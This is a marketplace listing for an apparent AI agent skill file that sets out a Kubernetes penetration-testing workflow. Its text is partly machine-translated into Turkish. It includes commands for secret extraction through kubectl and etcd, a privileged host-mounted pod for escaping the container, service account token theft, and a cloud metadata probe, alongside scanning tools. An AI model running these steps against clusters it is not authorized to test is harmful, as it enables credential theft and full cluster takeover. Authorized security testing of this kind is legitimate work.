본문으로 건너뛰기
cccskills
무료GitHub에 공개

performing-kubernetes-penetration-testing

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구Kubernetes
설치 방법 보기

포함된 파일(1)

  • SKILL.md7.2 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Performing Kubernetes Penetration Testing

Genel Bakış

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

Ne Zaman Kullanılır

  • conducting yaparken security assessments that involve performing kubernetes penetration testing
  • following yaparken: incident response procedures for related security events
  • performing yaparken scheduled security testing or auditing activities
  • validating yaparken security controls through hands-on testing

Ön Gereksinimler

  • Authorized penetration testing engagement
  • Kubernetes cluster access (various levels for different test scenarios)
  • kube-hunter, kubescape, kube-bench installed
  • kubectl configured
  • Network Erişim: cluster components

Core Concepts

Kubernetes Attack Surface

ComponentPortAttack Vectors
API Server6443Auth bypass, RBAC abuse, anonymous access
Kubelet10250/10255Unauthenticated access, command execution
etcd2379/2380Unauthenticated read, secret extraction
Dashboard8443Default credentials, token theft
NodePort Services30000-32767Service exposure, application exploits
CoreDNS53DNS spoofing, zone transfer

MITRE ATT&CK for Kubernetes

PhaseTechniques
Initial AccessExposed Dashboard, Kubeconfig theft, Application exploit
Executionexec into container, CronJob, Dağıt: privileged pod
PersistenceBackdoor container, mutating webhook, static pod
Privilege EscalationPrivileged container, node access, RBAC abuse
Defense EvasionPod name mimicry, namespace hiding, log deletion
Credential AccessSecret extraction, service account token theft
Lateral MovementContainer escape, cluster internal services

İş Akışı

Adım 1: External Reconnaissance

nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

curl -k https://target-cluster.com:6443/api/v1/namespaces

curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Adım 2: Automated Scanning with kube-hunter

pip install kube-hunter

kube-hunter --remote target-cluster.com

kube-hunter --internal

kube-hunter --pod

kube-hunter --remote target-cluster.com --report json --log output.json

Adım 3: CIS Benchmark Assessment with kube-bench

kube-bench run --targets master

kube-bench run --targets node

kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

kube-bench run --json > kube-bench-results.json

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Adım 4: Framework Compliance with Kubescape

curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

kubescape scan framework nsa

kubescape scan framework mitre

kubescape scan framework cis-v1.23-t1.0.1

kubescape scan framework nsa --namespace production

kubescape scan framework nsa --format json --output kubescape-report.json

Adım 5: RBAC Exploitation Testing

kubectl auth can-i --list

kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

kubectl --as=system:serviceaccount:default:default get pods

Adım 6: Secret Extraction Testing

kubectl get secrets -A

kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Adım 7: Pod Exploitation

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

kubectl exec -it pentest-pod -- bash

chroot /host

curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Adım 8: Network Policy Testing

kubectl get networkpolicies -A

kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Doğrulama Commands

kube-hunter --remote $CLUSTER_IP --report json

kubescape scan framework nsa --format json

kube-bench run --targets master,node --json

kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

References

<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: 0b352477fd01227a -->

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

MustafaKemal0146/fetih52026년 10월 11일 업데이트

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

MustafaKemal0146/fetih52026년 10월 11일 업데이트

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

MustafaKemal0146/fetih52026년 10월 11일 업데이트

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

MustafaKemal0146/fetih52026년 10월 11일 업데이트

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

MustafaKemal0146/fetih52026년 10월 11일 업데이트

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

MustafaKemal0146/fetih52026년 10월 11일 업데이트

MustafaKemal0146의 스킬 모두 보기

이 스킬의 문제 신고